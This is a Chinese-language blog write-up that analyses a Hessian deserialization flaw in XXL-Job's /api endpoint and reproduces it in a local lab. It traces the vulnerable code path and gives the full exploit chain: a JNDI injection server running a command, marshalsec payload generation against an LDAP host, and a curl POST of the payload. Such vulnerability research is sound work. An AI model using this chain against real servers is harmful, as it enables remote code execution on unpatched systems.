xxl-job反序列化漏洞分析复现

01 影响范围

  • Xxl-Job<=2.1.2,需要利用Hessian触发。

02 环境搭建

下载地址:https://github.com/xuxueli/xxl-job/releases

修改配置文件

xxl-job-2.0.1/xxl-job-admin/src/main/resources/application.properties

修改数据库信息,以及端口与项目入口目录,默认目录为/xxl-job-admin

修改执行器中的配置文件,改为与admin中相对应的地址端口等

/xxl-job-2.0.1/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

新建log文件,并将绝对路径写入到logback.xml中

然后启动项目:

两个项目都得启动

然后访问:http://localhost:8086/xxl-job-admin

03 漏洞分析

搜索反序列化的关键字:deserialize,搜索的范围包含项目文件和项目依赖的库

找到位置,com/xxl/rpc/remoting/net/impl/jetty/server/JettyServerHandler.java#parseRequest中,将请求直接传入了deserialize反序列化方法中

com/xxl/rpc/remoting/net/impl/jetty/server/JettyServerHandler.java#handle中传入了request,并且将request传入刚才会反序列化的方法中

com/xxl/job/admin/core/schedule/XxlJobDynamicScheduler.java#invokeAdminService调用了handle方法,并且也是直接将request进行传入

com/xxl/job/admin/controller/JobApiController.java#api为入口点,调用了刚才的方法,并且为controller可以直接访问,对应的路由为:/api

然后运行环境调试,发现可行,能够将request的数据进入反序列化的函数中,对应的请求为如下所示,调试发现必须为post请求,并且有请求体

调试发现是Hessian的反序列化

通过阅读官网http://hessian.caucho.com/

Hessian 二进制 Web 服务协议使得 Web 服务可用,而不需要大型框架,也不需要学习另一堆协议。因为它是一个二进制协议,所以非常适合于发送二进制数据,而不需要通过附件扩展协议。

然后可以直接使Hessian的Spring链进行漏洞复现即可。

04 漏洞复现

本地搭建好环境:

启动JNDI服务

java8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 172.20.10.2 -C "open -na Calculator"

生成payload

java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://172.20.10.2:1389/dzkfwd > test.ser

发送反序列化数据

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://localhost:8086/xxl-job-admin/api

参考文档:

  • https://xz.aliyun.com/t/8456

  • http://hessian.caucho.com

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值